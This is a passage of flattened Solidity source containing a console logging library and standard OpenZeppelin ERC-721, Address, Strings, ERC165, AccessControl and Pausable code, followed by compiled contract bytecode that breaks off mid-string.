p3)); } function log(bool p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3)); } function log(bool p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3)); } function log(address p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3)); } function log(address p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
0x608060405234801561001057600080fd5b50600436106102d65760003560e01c8063715018a611610182578063b88d4fde116100e9578063df64ff48116100a2578063e985e9c51161007c578063e985e9c514610612578063f2fde38b14610625578063f8b6b62b14610638578063fe73d37414610640576102d6565b8063df64ff48146105ef578063e023c6d9146105f7578063e8a3d4851461060a576102d6565b8063b88d4fde14610588578063c0e727401461059b578063c87b56dd146105a3578063d547741f146105b6578063dde2c6c8146105c9578063de9d629e146105dc576102d6565b806395d89b411161013b57806395d89b411461051e578063a217fddf14610526578063a22cb4651461052e578063aea9023914610541578063b4b5b48f14610554578063b80bb3ce14610575576102d6565b8063715018a6146104cd5780638456cb59146104d557806385c54bc5146104dd5780638da5cb5b146104f057806391d14854146104f8578063938e3d7b1461050b576102d6565b8063316907341161024157806342966c68116101fa5780635c975abb116101d45780635c975abb146104975780636352211e1461049f57806370a08231146104b25780637122e919146104c5576102d6565b806342966c681461045e5780634f6ccce71461047157806355f804b314610484576102d6565b806331690734146103e857806336568abe146103fb578063390b04f31461040e57806339ef8e72146104305780633f4ba83a1461044357806342842e0e1461044b576102d6565b806323b872dd1161029357806323b872dd14610376578063248a9ca31461038957806327190e5f1461039c5780632ca51e22146103af5780632f2ff15d146103c25780632f745c59146103d5576102d6565b806301ffc9a7146102db57806306fdde0314610304578063081812fc14610319578063095ea7b31461033957806318160ddd1461034e5780631ee6a15c14610363575b600080fd5b6102ee6102e9366004612b7e565b610653565b6040516102fb9190612dfd565b60405180910390f35b61030c610666565b6040516102fb9190612e11565b61032c610327366004612b44565b6106f8565b6040516102fb9190612d72565b61034c610347366004612ab2565b610744565b005b6103566107dc565b6040516102fb9190612e08565b61034c610371366004612c01565b6107e2565b61034c6103843660046129c4565b61087c565b610356610397366004612b44565b6108b4565b61034c6103aa366004612978565b6108c9565b61034c6103bd366004612adb565b61092a565b61034c6103d0366004612b5c565b610e20565b6103566103e3366004612ab2565b610e44565b61034c6103f6366004612bb6565b610e99565b61034c610409366004612b5c565b610eef565b61042161041c366004612b44565b610f31565b6040516102fb93929190613762565b61034c61043e366004612ab2565b610f52565b61034c610f95565b61034c6104593660046129c4565b610fde565b61034c61046c366004612b44565b610ff9565b61035661047f366004612b44565b61102c565b61034c610492366004612bb6565b611087565b6102ee6110d9565b61032c6104ad366004612b44565b6110e2565b6103566104c0366004612978565b611117565b61035661115b565b61034c61116d565b61034c6111b6565b61034c6104eb366004612b44565b6111fd565b61032c611241565b6102ee610506366004612b5c565b611255565b61034c610519366004612bb6565b611280565b61030c6112b4565b6103566112c3565b61034c61053c366004612a78565b6112c8565b61034c61054f366004612c46565b611396565b610567610562366004612b44565b6113ea565b6040516102fb929190612e24565b6102ee610583366004612ab2565b611491565b61034c6105963660046129ff565b6114e1565b61030c611520565b61030c6105b1366004612b44565b6115ae565b61034c6105c4366004612b5c565b6116ea565b61034c6105d7366004612ab2565b611709565b6102ee6105ea366004612b44565b611747565b61032c611777565b61034c610605366004612c46565b611786565b61030c6117d7565b6102ee610620366004612992565b6117e6565b61034c610633366004612978565b611814565b610356611882565b61034c61064e3660046